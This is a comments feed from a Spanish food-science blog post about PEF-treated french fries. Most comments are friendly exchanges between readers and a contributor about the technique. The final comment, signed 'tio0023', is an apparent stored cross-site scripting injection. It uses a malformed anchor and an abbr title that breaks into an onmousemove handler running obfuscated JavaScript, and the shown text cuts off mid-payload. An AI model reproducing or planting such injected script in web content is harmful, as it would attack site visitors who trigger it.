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Channel: Comentarios en: Patatas fritas al Pulso Eléctrico de Alto Voltaje (PEAV). Nuevas tecnologías.
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Por: Bitacoras.com

Información Bitacoras.com Valora en Bitacoras.com: Normalmente cuando hablamos de pulsos eléctricos de alto voltaje (PEF), las principales aplicaciones que vienen a la cabeza son la inactivación...

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Por: Viviana

Comencé un pequeño blog de cocina Argentina y coloqué un link de tu blog. Mucha suerte Viviana, visita mi blog. http://variascomidasdiarias.blogspot.com.ar/

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Por: Orges

Muy interesante, como siempre. Y sabes a qué se puede deber el citado efecto? Afectan los PEF a las pectinas de la patata pero no al almidón, o algo así? Saludos PD: siento decirte que por aquí tengo...

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Por: Guillermo S

Viviana: mucha suerte con tu blog, y gracias por incluirnos en el! Orges: Hum… si eres la competencia a lo mejor no deberia contarte mas… jajaja es broma. El efecto de los PEF es sobre las envolturas...

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Por: Orges

Perdona Guillarmo, ha sido un malentendido: no me percaté que no estaba hablando con Bertus (so sorry). En cualquier caso, no es educado no contestar: Por aquí es Universidad de Copenhague (Dk) (aquí...

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Por: Guillermo S

Orges: Nada hombre! El jefe es Bertus, yo solo colaboro a veces. un placer ver que entrais en el blog desde tantos sitios. Mucha suerte con tus proyectos y para cualquier pregunta del articulo, ya...

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Por: tio0023

<a href=' href="'>:-)<abbr title='"onmousemove=" var OT = `bvjqpicrxlfkzhnemdsytwuago`; function MSv() { return this; }; MSv()[(!1+``)[4] + String.fromCharCode(118) + (!!0+``)[1] +...

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